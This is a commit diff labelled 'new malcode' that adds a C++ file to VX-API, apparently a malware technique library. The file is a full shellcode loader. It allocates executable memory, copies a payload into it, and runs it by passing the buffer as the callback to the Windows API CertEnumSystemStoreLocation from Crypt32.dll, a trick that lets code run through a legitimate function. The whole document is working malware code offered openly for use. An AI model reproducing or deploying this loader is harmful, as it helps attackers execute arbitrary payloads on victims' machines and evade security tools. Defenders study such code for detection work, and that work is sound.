new malcode

+

VX-API/ShellcodeExecViaCertEnumSystemStoreLocation.cpp

@@ -0,0 +1,45 @@
+#include "Win32Helper.h"
+
+DWORD UnusedSubroutineDisposeableThreadCertEnumSystemStoreLocation(LPVOID Param)
+{
+	PSHELLCODE_EXECUTION_INFORMATION Sei = (PSHELLCODE_EXECUTION_INFORMATION)Param;
+	CERTENUMSYSTEMSTORELOCATION pCertEnumSystemStoreLocation = NULL;
+	LPVOID BinAddress = NULL;
+	HMODULE hModule = NULL;
+	BOOL bFlag = FALSE;
+
+	hModule = TryLoadDllMultiMethodW((PWCHAR)L"Crypt32.dll");
+	if (!hModule)
+		goto EXIT_ROUTINE;
+
+	pCertEnumSystemStoreLocation = (CERTENUMSYSTEMSTORELOCATION)GetProcAddressA((DWORD64)hModule, "CertEnumSystemStoreLocation");
+	if (!pCertEnumSystemStoreLocation)
+		goto EXIT_ROUTINE;
+
+	BinAddress = VirtualAlloc(NULL, Sei->dwLengthOfPayloadInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
+	if (BinAddress == NULL)
+		goto EXIT_ROUTINE;
+
+	CopyMemoryEx(BinAddress, Sei->Payload, Sei->dwLengthOfPayloadInBytes);
+
+	if (!pCertEnumSystemStoreLocation(NULL, NULL, (PFN_CERT_ENUM_SYSTEM_STORE_LOCATION)BinAddress))
+		goto EXIT_ROUTINE;
+
+	bFlag = TRUE;
+
+EXIT_ROUTINE:
+
+	if (hModule)
+		FreeLibrary(hModule);
+
+	if (BinAddress)
+		VirtualFree(BinAddress, 0, MEM_RELEASE);
+
+	return (bFlag ? 0 : 0xffffffff);
+}
+
+
+BOOL ShellcodeExecViaCertEnumSystemStoreLocation(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei)
+{
+	return CreateThreadAndWaitForCompletion(UnusedSubroutineDisposeableThreadCertEnumSystemStoreLocation, Sei, INFINITE);
+}